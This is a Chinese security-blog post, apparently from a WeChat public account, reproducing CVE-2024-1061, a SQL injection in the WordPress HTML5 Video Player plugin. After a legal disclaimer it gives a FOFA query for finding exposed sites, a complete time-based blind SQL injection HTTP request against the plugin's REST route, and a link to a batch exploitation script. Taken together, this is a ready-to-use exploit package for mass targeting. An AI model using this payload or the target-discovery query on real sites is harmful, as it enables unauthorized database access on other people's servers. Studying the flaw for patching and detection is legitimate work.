漏洞复现-WordPress HTML5 Video Player SQL注入漏洞(CVE-2024-1061)附POC

Yi安全 2024-02-18 20:02

由于微信公众号推送机制改变了，快来星标不再迷路，谢谢大家！

---

免责声明

本文章仅用于信息安全防御技术分享，因用于其他用途而产生不良后果,作者不承担任何法律责任，请严格遵循中华人民共和国相关法律法规，禁止做一切违法犯罪行为。
文
章中敏感信息均
已做多层打马处理。
传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任，一旦造成后果请自行
负责。

HTML5 Video Player  

一：漏洞描述

WordPress

Plugin

HTML5

Video

Player
 < 2
.5
.25

二：网络空间测绘查询

fofa

fofa："wordpress" && body="html5-video-player"

‍三：漏洞

poc****

GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)--+ HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0;
Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

四：批量脚本获取

https://github.com/Y1-K1NG/poc_exp/tree/main/20240218WordPress%20Plugin%20HTML5%20Video%20Player%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E

‍

由于传播、利用本公众号Yi安全所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，公众号Yi安全及作者不为此
承担任何责任，一旦造成后果请自行承担！如有侵权烦请告知，我们会立即删除并致歉。谢谢！

好文分享收藏赞一下最美点在看哦